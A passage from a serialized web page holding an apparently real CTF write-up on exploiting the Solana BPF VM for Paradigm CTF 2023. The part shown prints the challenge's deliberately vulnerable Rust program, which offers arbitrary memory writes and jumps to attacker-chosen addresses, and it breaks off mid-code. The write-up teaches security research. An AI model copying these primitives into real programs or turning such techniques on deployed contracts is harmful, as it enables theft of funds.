on":40166,"author":40167,"image":40169,"date":40171,"isFeatured":16,"onBlogPage":16,"body":40172,"_type":2606,"_id":45590,"_source":2608,"_file":45591,"_stem":45592,"_extension":2611},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[40168,5465],"nicola",{"src":40170},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":21,"children":40173,"toc":45579},[40174,40188,40208,40213,40217,40230,40255,40261,40266,40281,40634,40649,40914,40930,41573,41579,41584,41597,41605,41817,41825,42128,42136,42279,42287,42812,42818,42830,42843,42857,42862,43629,43634,43642,43647,43653,43665,43730,43735,43748,43761,43767,43795,44946,44959,45001,45006,45011,45025,45165,45186,45207,45214,45265,45273,45284,45297,45302,45426,45439,45541,45545,45558,45563,45575],{"type":24,"tag":25,"props":40175,"children":40176},{},[40177,40179,40186],{"type":29,"value":40178},"In the world of CTFs, ",{"type":24,"tag":2033,"props":40180,"children":40183},{"href":40181,"rel":40182},"https://twitter.com/paradigm_ctf",[2037],[40184],{"type":29,"value":40185},"Paradigm CTF 2023",{"type":29,"value":40187}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":24,"tag":25,"props":40189,"children":40190},{},[40191,40193,40200,40201],{"type":29,"value":40192},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":24,"tag":2033,"props":40194,"children":40197},{"href":40195,"rel":40196},"https://osec.io/blog/2022-03-14-solana-security-intro",[2037],[40198],{"type":29,"value":40199},"Solana: An Auditor's Introduction",{"type":29,"value":2287},{"type":24,"tag":2033,"props":40202,"children":40205},{"href":40203,"rel":40204},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[2037],[40206],{"type":29,"value":40207},"Reverse Engineering Solana with Binary Ninja.\n",{"type":24,"tag":25,"props":40209,"children":40210},{},[40211],{"type":29,"value":40212},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":24,"tag":51,"props":40214,"children":40215},{"id":18695},[40216],{"type":29,"value":18698},{"type":24,"tag":25,"props":40218,"children":40219},{},[40220,40222,40228],{"type":29,"value":40221},"The challenge itself resides into ",{"type":24,"tag":32,"props":40223,"children":40225},{"className":40224},[],[40226],{"type":29,"value":40227},"framework/",{"type":29,"value":40229},", and is composed of 2 parts:",{"type":24,"tag":16422,"props":40231,"children":40232},{},[40233,40244],{"type":24,"tag":67,"props":40234,"children":40235},{},[40236,40242],{"type":24,"tag":32,"props":40237,"children":40239},{"className":40238},[],[40240],{"type":29,"value":40241},"framework/chall/lib.rs",{"type":29,"value":40243},": The on-chain eBPF program that needs to be exploited.",{"type":24,"tag":67,"props":40245,"children":40246},{},[40247,40253],{"type":24,"tag":32,"props":40248,"children":40250},{"className":40249},[],[40251],{"type":29,"value":40252},"framework/src/main.rs",{"type":29,"value":40254},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":24,"tag":1818,"props":40256,"children":40258},{"id":40257},"vulnerable-program",[40259],{"type":29,"value":40260},"Vulnerable Program",{"type":24,"tag":25,"props":40262,"children":40263},{},[40264],{"type":29,"value":40265},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":24,"tag":63,"props":40267,"children":40268},{},[40269],{"type":24,"tag":67,"props":40270,"children":40271},{},[40272,40273,40279],{"type":29,"value":7227},{"type":24,"tag":32,"props":40274,"children":40276},{"className":40275},[],[40277],{"type":29,"value":40278},"data[0] == 0",{"type":29,"value":40280}," a function that lets you write-what-where is executed",{"type":24,"tag":73,"props":40282,"children":40284},{"className":2725,"code":40283,"language":2724,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[40285],{"type":24,"tag":32,"props":40286,"children":40287},{"__ignoreMap":7},[40288,40296,40340,40351,40474,40591,40620,40627],{"type":24,"tag":83,"props":40289,"children":40290},{"class":85,"line":86},[40291],{"type":24,"tag":83,"props":40292,"children":40293},{"style":107},[40294],{"type":29,"value":40295},"#[inline(never)]\n",{"type":24,"tag":83,"props":40297,"children":40298},{"class":85,"line":113},[40299,40303,40307,40312,40316,40320,40324,40328,40332,40336],{"type":24,"tag":83,"props":40300,"children":40301},{"style":90},[40302],{"type":29,"value":13435},{"type":24,"tag":83,"props":40304,"children":40305},{"style":90},[40306],{"type":29,"value":13440},{"type":24,"tag":83,"props":40308,"children":40309},{"style":101},[40310],{"type":29,"value":40311}," write",{"type":24,"tag":83,"props":40313,"children":40314},{"style":107},[40315],{"type":29,"value":558},{"type":24,"tag":83,"props":40317,"children":40318},{"style":137},[40319],{"type":29,"value":839},{"type":24,"tag":83,"props":40321,"children":40322},{"style":143},[40323],{"type":29,"value":195},{"type":24,"tag":83,"props":40325,"children":40326},{"style":143},[40327],{"type":29,"value":6888},{"type":24,"tag":83,"props":40329,"children":40330},{"style":107},[40331],{"type":29,"value":1161},{"type":24,"tag":83,"props":40333,"children":40334},{"style":3163},[40335],{"type":29,"value":3166},{"type":24,"tag":83,"props":40337,"children":40338},{"style":107},[40339],{"type":29,"value":1171},{"type":24,"tag":83,"props":40341,"children":40342},{"class":85,"line":128},[40343,40347],{"type":24,"tag":83,"props":40344,"children":40345},{"style":90},[40346],{"type":29,"value":13578},{"type":24,"tag":83,"props":40348,"children":40349},{"style":107},[40350],{"type":29,"value":125},{"type":24,"tag":83,"props":40352,"children":40353},{"class":85,"line":183},[40354,40358,40362,40366,40371,40375,40380,40384,40389,40393,40398,40402,40406,40410,40414,40418,40422,40426,40430,40434,40438,40442,40446,40450,40454,40458,40462,40466,40470],{"type":24,"tag":83,"props":40355,"children":40356},{"style":90},[40357],{"type":29,"value":2809},{"type":24,"tag":83,"props":40359,"children":40360},{"style":137},[40361],{"type":29,"value":13602},{"type":24,"tag":83,"props":40363,"children":40364},{"style":143},[40365],{"type":29,"value":146},{"type":24,"tag":83,"props":40367,"children":40368},{"style":107},[40369],{"type":29,"value":40370}," std",{"type":24,"tag":83,"props":40372,"children":40373},{"style":143},[40374],{"type":29,"value":3226},{"type":24,"tag":83,"props":40376,"children":40377},{"style":107},[40378],{"type":29,"value":40379},"mem",{"type":24,"tag":83,"props":40381,"children":40382},{"style":143},[40383],{"type":29,"value":3226},{"type":24,"tag":83,"props":40385,"children":40386},{"style":101},[40387],{"type":29,"value":40388},"transmute",{"type":24,"tag":83,"props":40390,"children":40391},{"style":143},[40392],{"type":29,"value":3226},{"type":24,"tag":83,"props":40394,"children":40395},{"style":107},[40396],{"type":29,"value":40397},"\u003C[",{"type":24,"tag":83,"props":40399,"children":40400},{"style":3163},[40401],{"type":29,"value":3166},{"type":24,"tag":83,"props":40403,"children":40404},{"style":107},[40405],{"type":29,"value":16963},{"type":24,"tag":83,"props":40407,"children":40408},{"style":245},[40409],{"type":29,"value":3819},{"type":24,"tag":83,"props":40411,"children":40412},{"style":107},[40413],{"type":29,"value":1232},{"type":24,"tag":83,"props":40415,"children":40416},{"style":143},[40417],{"type":29,"value":4315},{"type":24,"tag":83,"props":40419,"children":40420},{"style":90},[40421],{"type":29,"value":3468},{"type":24,"tag":83,"props":40423,"children":40424},{"style":3163},[40425],{"type":29,"value":5606},{"type":24,"tag":83,"props":40427,"children":40428},{"style":107},[40429],{"type":29,"value":7358},{"type":24,"tag":83,"props":40431,"children":40432},{"style":137},[40433],{"type":29,"value":839},{"type":24,"tag":83,"props":40435,"children":40436},{"style":107},[40437],{"type":29,"value":1161},{"type":24,"tag":83,"props":40439,"children":40440},{"style":143},[40441],{"type":29,"value":2796},{"type":24,"tag":83,"props":40443,"children":40444},{"style":245},[40445],{"type":29,"value":3819},{"type":24,"tag":83,"props":40447,"children":40448},{"style":107},[40449],{"type":29,"value":15151},{"type":24,"tag":83,"props":40451,"children":40452},{"style":143},[40453],{"type":29,"value":161},{"type":24,"tag":83,"props":40455,"children":40456},{"style":101},[40457],{"type":29,"value":25911},{"type":24,"tag":83,"props":40459,"children":40460},{"style":107},[40461],{"type":29,"value":13624},{"type":24,"tag":83,"props":40463,"children":40464},{"style":143},[40465],{"type":29,"value":161},{"type":24,"tag":83,"props":40467,"children":40468},{"style":101},[40469],{"type":29,"value":3410},{"type":24,"tag":83,"props":40471,"children":40472},{"style":107},[40473],{"type":29,"value":15164},{"type":24,"tag":83,"props":40475,"children":40476},{"class":85,"line":203},[40477,40481,40486,40490,40494,40498,40502,40506,40510,40514,40518,40522,40526,40530,40534,40538,40542,40546,40550,40554,40558,40563,40567,40571,40575,40579,40583,40587],{"type":24,"tag":83,"props":40478,"children":40479},{"style":90},[40480],{"type":29,"value":2809},{"type":24,"tag":83,"props":40482,"children":40483},{"style":137},[40484],{"type":29,"value":40485}," val",{"type":24,"tag":83,"props":40487,"children":40488},{"style":143},[40489],{"type":29,"value":146},{"type":24,"tag":83,"props":40491,"children":40492},{"style":107},[40493],{"type":29,"value":40370},{"type":24,"tag":83,"props":40495,"children":40496},{"style":143},[40497],{"type":29,"value":3226},{"type":24,"tag":83,"props":40499,"children":40500},{"style":107},[40501],{"type":29,"value":40379},{"type":24,"tag":83,"props":40503,"children":40504},{"style":143},[40505],{"type":29,"value":3226},{"type":24,"tag":83,"props":40507,"children":40508},{"style":101},[40509],{"type":29,"value":40388},{"type":24,"tag":83,"props":40511,"children":40512},{"style":143},[40513],{"type":29,"value":3226},{"type":24,"tag":83,"props":40515,"children":40516},{"style":107},[40517],{"type":29,"value":40397},{"type":24,"tag":83,"props":40519,"children":40520},{"style":3163},[40521],{"type":29,"value":3166},{"type":24,"tag":83,"props":40523,"children":40524},{"style":107},[40525],{"type":29,"value":16963},{"type":24,"tag":83,"props":40527,"children":40528},{"style":245},[40529],{"type":29,"value":3819},{"type":24,"tag":83,"props":40531,"children":40532},{"style":107},[40533],{"type":29,"value":1232},{"type":24,"tag":83,"props":40535,"children":40536},{"style":3163},[40537],{"type":29,"value":7789},{"type":24,"tag":83,"props":40539,"children":40540},{"style":107},[40541],{"type":29,"value":7358},{"type":24,"tag":83,"props":40543,"children":40544},{"style":137},[40545],{"type":29,"value":839},{"type":24,"tag":83,"props":40547,"children":40548},{"style":107},[40549],{"type":29,"value":1161},{"type":24,"tag":83,"props":40551,"children":40552},{"style":245},[40553],{"type":29,"value":3819},{"type":24,"tag":83,"props":40555,"children":40556},{"style":143},[40557],{"type":29,"value":2796},{"type":24,"tag":83,"props":40559,"children":40560},{"style":245},[40561],{"type":29,"value":40562},"16",{"type":24,"tag":83,"props":40564,"children":40565},{"style":107},[40566],{"type":29,"value":15151},{"type":24,"tag":83,"props":40568,"children":40569},{"style":143},[40570],{"type":29,"value":161},{"type":24,"tag":83,"props":40572,"children":40573},{"style":101},[40574],{"type":29,"value":25911},{"type":24,"tag":83,"props":40576,"children":40577},{"style":107},[40578],{"type":29,"value":13624},{"type":24,"tag":83,"props":40580,"children":40581},{"style":143},[40582],{"type":29,"value":161},{"type":24,"tag":83,"props":40584,"children":40585},{"style":101},[40586],{"type":29,"value":3410},{"type":24,"tag":83,"props":40588,"children":40589},{"style":107},[40590],{"type":29,"value":15164},{"type":24,"tag":83,"props":40592,"children":40593},{"class":85,"line":212},[40594,40599,40603,40608,40612,40616],{"type":24,"tag":83,"props":40595,"children":40596},{"style":137},[40597],{"type":29,"value":40598},"        ptr",{"type":24,"tag":83,"props":40600,"children":40601},{"style":143},[40602],{"type":29,"value":161},{"type":24,"tag":83,"props":40604,"children":40605},{"style":101},[40606],{"type":29,"value":40607},"write_volatile",{"type":24,"tag":83,"props":40609,"children":40610},{"style":107},[40611],{"type":29,"value":558},{"type":24,"tag":83,"props":40613,"children":40614},{"style":137},[40615],{"type":29,"value":12378},{"type":24,"tag":83,"props":40617,"children":40618},{"style":107},[40619],{"type":29,"value":581},{"type":24,"tag":83,"props":40621,"children":40622},{"class":85,"line":256},[40623],{"type":24,"tag":83,"props":40624,"children":40625},{"style":107},[40626],{"type":29,"value":446},{"type":24,"tag":83,"props":40628,"children":40629},{"class":85,"line":270},[40630],{"type":24,"tag":83,"props":40631,"children":40632},{"style":107},[40633],{"type":29,"value":464},{"type":24,"tag":63,"props":40635,"children":40636},{"start":113},[40637],{"type":24,"tag":67,"props":40638,"children":40639},{},[40640,40641,40647],{"type":29,"value":7227},{"type":24,"tag":32,"props":40642,"children":40644},{"className":40643},[],[40645],{"type":29,"value":40646},"data[0] == 1",{"type":29,"value":40648},", a CPI to a non-existent program is executed:",{"type":24,"tag":73,"props":40650,"children":40652},{"className":2725,"code":40651,"language":2724,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[40653],{"type":24,"tag":32,"props":40654,"children":40655},{"__ignoreMap":7},[40656,40663,40707,40732,40762,40802,40823,40830,40837,40849,40865,40877,40888,40907],{"type":24,"tag":83,"props":40657,"children":40658},{"class":85,"line":86},[40659],{"type":24,"tag":83,"props":40660,"children":40661},{"style":107},[40662],{"type":29,"value":40295},{"type":24,"tag":83,"props":40664,"children":40665},{"class":85,"line":113},[40666,40670,40674,40679,40683,40687,40691,40695,40699,40703],{"type":24,"tag":83,"props":40667,"children":40668},{"style":90},[40669],{"type":29,"value":13435},{"type":24,"tag":83,"props":40671,"children":40672},{"style":90},[40673],{"type":29,"value":13440},{"type":24,"tag":83,"props":40675,"children":40676},{"style":101},[40677],{"type":29,"value":40678}," call",{"type":24,"tag":83,"props":40680,"children":40681},{"style":107},[40682],{"type":29,"value":558},{"type":24,"tag":83,"props":40684,"children":40685},{"style":137},[40686],{"type":29,"value":839},{"type":24,"tag":83,"props":40688,"children":40689},{"style":143},[40690],{"type":29,"value":195},{"type":24,"tag":83,"props":40692,"children":40693},{"style":143},[40694],{"type":29,"value":6888},{"type":24,"tag":83,"props":40696,"children":40697},{"style":107},[40698],{"type":29,"value":1161},{"type":24,"tag":83,"props":40700,"children":40701},{"style":3163},[40702],{"type":29,"value":3166},{"type":24,"tag":83,"props":40704,"children":40705},{"style":107},[40706],{"type":29,"value":1171},{"type":24,"tag":83,"props":40708,"children":40709},{"class":85,"line":128},[40710,40714,40719,40723,40728],{"type":24,"tag":83,"props":40711,"children":40712},{"style":90},[40713],{"type":29,"value":2746},{"type":24,"tag":83,"props":40715,"children":40716},{"style":137},[40717],{"type":29,"value":40718}," ix",{"type":24,"tag":83,"props":40720,"children":40721},{"style":143},[40722],{"type":29,"value":146},{"type":24,"tag":83,"props":40724,"children":40725},{"style":3163},[40726],{"type":29,"value":40727}," Instruction",{"type":24,"tag":83,"props":40729,"children":40730},{"style":107},[40731],{"type":29,"value":125},{"type":24,"tag":83,"props":40733,"children":40734},{"class":85,"line":183},[40735,40740,40744,40749,40753,40758],{"type":24,"tag":83,"props":40736,"children":40737},{"style":137},[40738],{"type":29,"value":40739},"        program_id",{"type":24,"tag":83,"props":40741,"children":40742},{"style":143},[40743],{"type":29,"value":195},{"type":24,"tag":83,"props":40745,"children":40746},{"style":101},[40747],{"type":29,"value":40748}," pubkey!",{"type":24,"tag":83,"props":40750,"children":40751},{"style":107},[40752],{"type":29,"value":558},{"type":24,"tag":83,"props":40754,"children":40755},{"style":187},[40756],{"type":29,"value":40757},"\"osecio5555555555555551111111111111111111111\"",{"type":24,"tag":83,"props":40759,"children":40760},{"style":107},[40761],{"type":29,"value":6483},{"type":24,"tag":83,"props":40763,"children":40764},{"class":85,"line":203},[40765,40770,40774,40778,40782,40786,40790,40794,40798],{"type":24,"tag":83,"props":40766,"children":40767},{"style":137},[40768],{"type":29,"value":40769},"        data",{"type":24,"tag":83,"props":40771,"children":40772},{"style":143},[40773],{"type":29,"value":195},{"type":24,"tag":83,"props":40775,"children":40776},{"style":137},[40777],{"type":29,"value":660},{"type":24,"tag":83,"props":40779,"children":40780},{"style":143},[40781],{"type":29,"value":161},{"type":24,"tag":83,"props":40783,"children":40784},{"style":101},[40785],{"type":29,"value":25911},{"type":24,"tag":83,"props":40787,"children":40788},{"style":107},[40789],{"type":29,"value":13624},{"type":24,"tag":83,"props":40791,"children":40792},{"style":143},[40793],{"type":29,"value":161},{"type":24,"tag":83,"props":40795,"children":40796},{"style":101},[40797],{"type":29,"value":3410},{"type":24,"tag":83,"props":40799,"children":40800},{"style":107},[40801],{"type":29,"value":3236},{"type":24,"tag":83,"props":40803,"children":40804},{"class":85,"line":212},[40805,40810,40814,40818],{"type":24,"tag":83,"props":40806,"children":40807},{"style":137},[40808],{"type":29,"value":40809},"        accounts",{"type":24,"tag":83,"props":40811,"children":40812},{"style":143},[40813],{"type":29,"value":195},{"type":24,"tag":83,"props":40815,"children":40816},{"style":101},[40817],{"type":29,"value":3473},{"type":24,"tag":83,"props":40819,"children":40820},{"style":107},[40821],{"type":29,"value":40822},"[]\n",{"type":24,"tag":83,"props":40824,"children":40825},{"class":85,"line":256},[40826],{"type":24,"tag":83,"props":40827,"children":40828},{"style":107},[40829],{"type":29,"value":38715},{"type":24,"tag":83,"props":40831,"children":40832},{"class":85,"line":270},[40833],{"type":24,"tag":83,"props":40834,"children":40835},{"emptyLinePlaceholder":16},[40836],{"type":29,"value":3422},{"type":24,"tag":83,"props":40838,"children":40839},{"class":85,"line":302},[40840,40845],{"type":24,"tag":83,"props":40841,"children":40842},{"style":101},[40843],{"type":29,"value":40844},"    invoke_signed_unchecked",{"type":24,"tag":83,"props":40846,"children":40847},{"style":107},[40848],{"type":29,"value":3208},{"type":24,"tag":83,"props":40850,"children":40851},{"class":85,"line":324},[40852,40856,40861],{"type":24,"tag":83,"props":40853,"children":40854},{"style":143},[40855],{"type":29,"value":3216},{"type":24,"tag":83,"props":40857,"children":40858},{"style":137},[40859],{"type":29,"value":40860},"ix",{"type":24,"tag":83,"props":40862,"children":40863},{"style":107},[40864],{"type":29,"value":989},{"type":24,"tag":83,"props":40866,"children":40867},{"class":85,"line":345},[40868,40872],{"type":24,"tag":83,"props":40869,"children":40870},{"style":143},[40871],{"type":29,"value":3216},{"type":24,"tag":83,"props":40873,"children":40874},{"style":107},[40875],{"type":29,"value":40876},"[],\n",{"type":24,"tag":83,"props":40878,"children":40879},{"class":85,"line":358},[40880,40884],{"type":24,"tag":83,"props":40881,"children":40882},{"style":143},[40883],{"type":29,"value":3216},{"type":24,"tag":83,"props":40885,"children":40886},{"style":107},[40887],{"type":29,"value":40876},{"type":24,"tag":83,"props":40889,"children":40890},{"class":85,"line":367},[40891,40895,40899,40903],{"type":24,"tag":83,"props":40892,"children":40893},{"style":107},[40894],{"type":29,"value":3401},{"type":24,"tag":83,"props":40896,"children":40897},{"style":143},[40898],{"type":29,"value":161},{"type":24,"tag":83,"props":40900,"children":40901},{"style":101},[40902],{"type":29,"value":3410},{"type":24,"tag":83,"props":40904,"children":40905},{"style":107},[40906],{"type":29,"value":267},{"type":24,"tag":83,"props":40908,"children":40909},{"class":85,"line":406},[40910],{"type":24,"tag":83,"props":40911,"children":40912},{"style":107},[40913],{"type":29,"value":464},{"type":24,"tag":63,"props":40915,"children":40916},{"start":128},[40917],{"type":24,"tag":67,"props":40918,"children":40919},{},[40920,40922,40928],{"type":29,"value":40921},"Finally, if ",{"type":24,"tag":32,"props":40923,"children":40925},{"className":40924},[],[40926],{"type":29,"value":40927},"data[0]",{"type":29,"value":40929}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":24,"tag":73,"props":40931,"children":40933},{"className":2725,"code":40932,"language":2724,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[40934],{"type":24,"tag":32,"props":40935,"children":40936},{"__ignoreMap":7},[40937,40944,40992,41003,41123,41238,41257,41264,41299,41306,41425,41540,41559,41566],{"type":24,"tag":83,"props":40938,"children":40939},{"class":85,"line":86},[40940],{"type":24,"tag":83,"props":40941,"children":40942},{"style":107},[40943],{"type":29,"value":40295},{"type":24,"tag":83,"props":40945,"children":40946},{"class":85,"line":113},[40947,40951,40955,40960,40964,40968,40972,40976,40980,40984,40988],{"type":24,"tag":83,"props":40948,"children":40949},{"style":90},[40950],{"type":29,"value":13435},{"type":24,"tag":83,"props":40952,"children":40953},{"style":90},[40954],{"type":29,"value":13440},{"type":24,"tag":83,"props":40956,"children":40957},{"style":101},[40958],{"type":29,"value":40959}," process",{"type":24,"tag":83,"props":40961,"children":40962},{"style":107},[40963],{"type":29,"value":558},{"type":24,"tag":83,"props":40965,"children":40966},{"style":90},[40967],{"type":29,"value":3468},{"type":24,"tag":83,"props":40969,"children":40970},{"style":137},[40971],{"type":29,"value":660},{"type":24,"tag":83,"props":40973,"children":40974},{"style":143},[40975],{"type":29,"value":195},{"type":24,"tag":83,"props":40977,"children":40978},{"style":143},[40979],{"type":29,"value":6888},{"type":24,"tag":83,"props":40981,"children":40982},{"style":107},[40983],{"type":29,"value":1161},{"type":24,"tag":83,"props":40985,"children":40986},{"style":3163},[40987],{"type":29,"value":3166},{"type":24,"tag":83,"props":40989,"children":40990},{"style":107},[40991],{"type":29,"value":1171},{"type":24,"tag":83,"props":40993,"children":40994},{"class":85,"line":128},[40995,40999],{"type":24,"tag":83,"props":40996,"children":40997},{"style":90},[40998],{"type":29,"value":13578},{"type":24,"tag":83,"props":41000,"children":41001},{"style":107},[41002],{"type":29,"value":125},{"type":24,"tag":83,"props":41004,"children":41005},{"class":85,"line":183},[41006,41010,41014,41018,41022,41026,41030,41034,41038,41042,41046,41050,41054,41058,41062,41066,41070,41074,41079,41083,41087,41091,41095,41099,41103,41107,41111,41115,41119],{"type":24,"tag":83,"props":41007,"children":41008},{"style":90},[41009],{"type":29,"value":2809},{"type":24,"tag":83,"props":41011,"children":41012},{"style":137},[41013],{"type":29,"value":13602},{"type":24,"tag":83,"props":41015,"children":41016},{"style":143},[41017],{"type":29,"value":146},{"type":24,"tag":83,"props":41019,"children":41020},{"style":107},[41021],{"type":29,"value":40370},{"type":24,"tag":83,"props":41023,"children":41024},{"style":143},[41025],{"type":29,"value":3226},{"type":24,"tag":83,"props":41027,"children":41028},{"style":107},[41029],{"type":29,"value":40379},{"type":24,"tag":83,"props":41031,"children":41032},{"style":143},[41033],{"type":29,"value":3226},{"type":24,"tag":83,"props":41035,"children":41036},{"style":101},[41037],{"type":29,"value":40388},{"type":24,"tag":83,"props":41039,"children":41040},{"style":143},[41041],{"type":29,"value":3226},{"type":24,"tag":83,"props":41043,"children":41044},{"style":107},[41045],{"type":29,"value":40397},{"type":24,"tag":83,"props":41047,"children":41048},{"style":3163},[41049],{"type":29,"value":3166},{"type":24,"tag":83,"props":41051,"children":41052},{"style":107},[41053],{"type":29,"value":16963},{"type":24,"tag":83,"props":41055,"children":41056},{"style":245},[41057],{"type":29,"value":3819},{"type":24,"tag":83,"props":41059,"children":41060},{"style":107},[41061],{"type":29,"value":1232},{"type":24,"tag":83,"props":41063,"children":41064},{"style":90},[41065],{"type":29,"value":20007},{"type":24,"tag":83,"props":41067,"children":41068},{"style":107},[41069],{"type":29,"value":558},{"type":24,"tag":83,"props":41071,"children":41072},{"style":3163},[41073],{"type":29,"value":7789},{"type":24,"tag":83,"props":41075,"children":41076},{"style":107},[41077],{"type":29,"value":41078},")>(",{"type":24,"tag":83,"props":41080,"children":41081},{"style":137},[41082],{"type":29,"value":839},{"type":24,"tag":83,"props":41084,"children":41085},{"style":107},[41086],{"type":29,"value":1161},{"type":24,"tag":83,"props":41088,"children":41089},{"style":143},[41090],{"type":29,"value":2796},{"type":24,"tag":83,"props":41092,"children":41093},{"style":245},[41094],{"type":29,"value":3819},{"type":24,"tag":83,"props":41096,"children":41097},{"style":107},[41098],{"type":29,"value":15151},{"type":24,"tag":83,"props":41100,"children":41101},{"style":143},[41102],{"type":29,"value":161},{"type":24,"tag":83,"props":41104,"children":41105},{"style":101},[41106],{"type":29,"value":25911},{"type":24,"tag":83,"props":41108,"children":41109},{"style":107},[41110],{"type":29,"value":13624},{"type":24,"tag":83,"props":41112,"children":41113},{"style":143},[41114],{"type":29,"value":161},{"type":24,"tag":83,"props":41116,"children":41117},{"style":101},[41118],{"type":29,"value":3410},{"type":24,"tag":83,"props":41120,"children":41121},{"style":107},[41122],{"type":29,"value":15164},{"type":24,"tag":83,"props":41124,"children":41125},{"class":85,"line":203},[41126,41130,41134,41138,41142,41146,41150,41154,41158,41162,41166,41170,41174,41178,41182,41186,41190,41194,41198,41202,41206,41210,41214,41218,41222,41226,41230,41234],{"type":24,"tag":83,"props":41127,"children":41128},{"style":90},[41129],{"type":29,"value":2809},{"type":24,"tag":83,"props":41131,"children":41132},{"style":137},[41133],{"type":29,"value":40485},{"type":24,"tag":83,"props":41135,"children":41136},{"style":143},[41137],{"type":29,"value":146},{"type":24,"tag":83,"props":41139,"children":41140},{"style":107},[41141],{"type":29,"value":40370},{"type":24,"tag":83,"props":41143,"children":41144},{"style":143},[41145],{"type":29,"value":3226},{"type":24,"tag":83,"props":41147,"children":41148},{"style":107},[41149],{"type":29,"value":40379},{"type":24,"tag":83,"props":41151,"children":41152},{"style":143},[41153],{"type":29,"value":3226},{"type":24,"tag":83,"props":41155,"children":41156},{"style":101},[41157],{"type":29,"value":40388},{"type":24,"tag":83,"props":41159,"children":41160},{"style":143},[41161],{"type":29,"value":3226},{"type":24,"tag":83,"props":41163,"children":41164},{"style":107},[41165],{"type":29,"value":40397},{"type":24,"tag":83,"props":41167,"children":41168},{"style":3163},[41169],{"type":29,"value":3166},{"type":24,"tag":83,"props":41171,"children":41172},{"style":107},[41173],{"type":29,"value":16963},{"type":24,"tag":83,"props":41175,"children":41176},{"style":245},[41177],{"type":29,"value":3819},{"type":24,"tag":83,"props":41179,"children":41180},{"style":107},[41181],{"type":29,"value":1232},{"type":24,"tag":83,"props":41183,"children":41184},{"style":3163},[41185],{"type":29,"value":7789},{"type":24,"tag":83,"props":41187,"children":41188},{"style":107},[41189],{"type":29,"value":7358},{"type":24,"tag":83,"props":41191,"children":41192},{"style":137},[41193],{"type":29,"value":839},{"type":24,"tag":83,"props":41195,"children":41196},{"style":107},[41197],{"type":29,"value":1161},{"type":24,"tag":83,"props":41199,"children":41200},{"style":245},[41201],{"type":29,"value":3819},{"type":24,"tag":83,"props":41203,"children":41204},{"style":143},[41205],{"type":29,"value":2796},{"type":24,"tag":83,"props":41207,"children":41208},{"style":245},[41209],{"type":29,"value":40562},{"type":24,"tag":83,"props":41211,"children":41212},{"style":107},[41213],{"type":29,"value":15151},{"type":24,"tag":83,"props":41215,"children":41216},{"style":143},[41217],{"type":29,"value":161},{"type":24,"tag":83,"props":41219,"children":41220},{"style":101},[41221],{"type":29,"value":25911},{"type":24,"tag":83,"props":41223,"children":41224},{"style":107},[41225],{"type":29,"value":13624},{"type":24,"tag":83,"props":41227,"children":41228},{"style":143},[41229],{"type":29,"value":161},{"type":24,"tag":83,"props":41231,"children":41232},{"style":101},[41233],{"type":29,"value":3410},{"type":24,"tag":83,"props":41235,"children":41236},{"style":107},[41237],{"type":29,"value":15164},{"type":24,"tag":83,"props":41239,"children":41240},{"class":85,"line":212},[41241,41245,41249,41253],{"type":24,"tag":83,"props":41242,"children":41243},{"style":101},[41244],{"type":29,"value":40598},{"type":24,"tag":83,"props":41246,"children":41247},{"style":107},[41248],{"type":29,"value":558},{"type":24,"tag":83,"props":41250,"children":41251},{"style":137},[41252],{"type":29,"value":12378},{"type":24,"tag":83,"props":41254,"children":41255},{"style":107},[41256],{"type":29,"value":581},{"type":24,"tag":83,"props":41258,"children":41259},{"class":85,"line":256},[41260],{"type":24,"tag":83,"props":41261,"children":41262},{"emptyLinePlaceholder":16},[41263],{"type":29,"value":3422},{"type":24,"tag":83,"props":41265,"children":41266},{"class":85,"line":270},[41267,41271,41275,41279,41283,41287,41291,41295],{"type":24,"tag":83,"props":41268,"children":41269},{"style":137},[41270],{"type":29,"value":40769},{"type":24,"tag":83,"props":41272,"children":41273},{"style":143},[41274],{"type":29,"value":146},{"type":24,"tag":83,"props":41276,"children":41277},{"style":143},[41278],{"type":29,"value":6888},{"type":24,"tag":83,"props":41280,"children":41281},{"style":137},[41282],{"type":29,"value":839},{"type":24,"tag":83,"props":41284,"children":41285},{"style":107},[41286],{"type":29,"value":1161},{"type":24,"tag":83,"props":41288,"children":41289},{"style":245},[41290],{"type":29,"value":40562},{"type":24,"tag":83,"props":41292,"children":41293},{"style":143},[41294],{"type":29,"value":2796},{"type":24,"tag":83,"props":41296,"children":41297},{"style":107},[41298],{"type":29,"value":1515},{"type":24,"tag":83,"props":41300,"children":41301},{"class":85,"line":302},[41302],{"type":24,"tag":83,"props":41303,"children":41304},{"emptyLinePlaceholder":16},[41305],{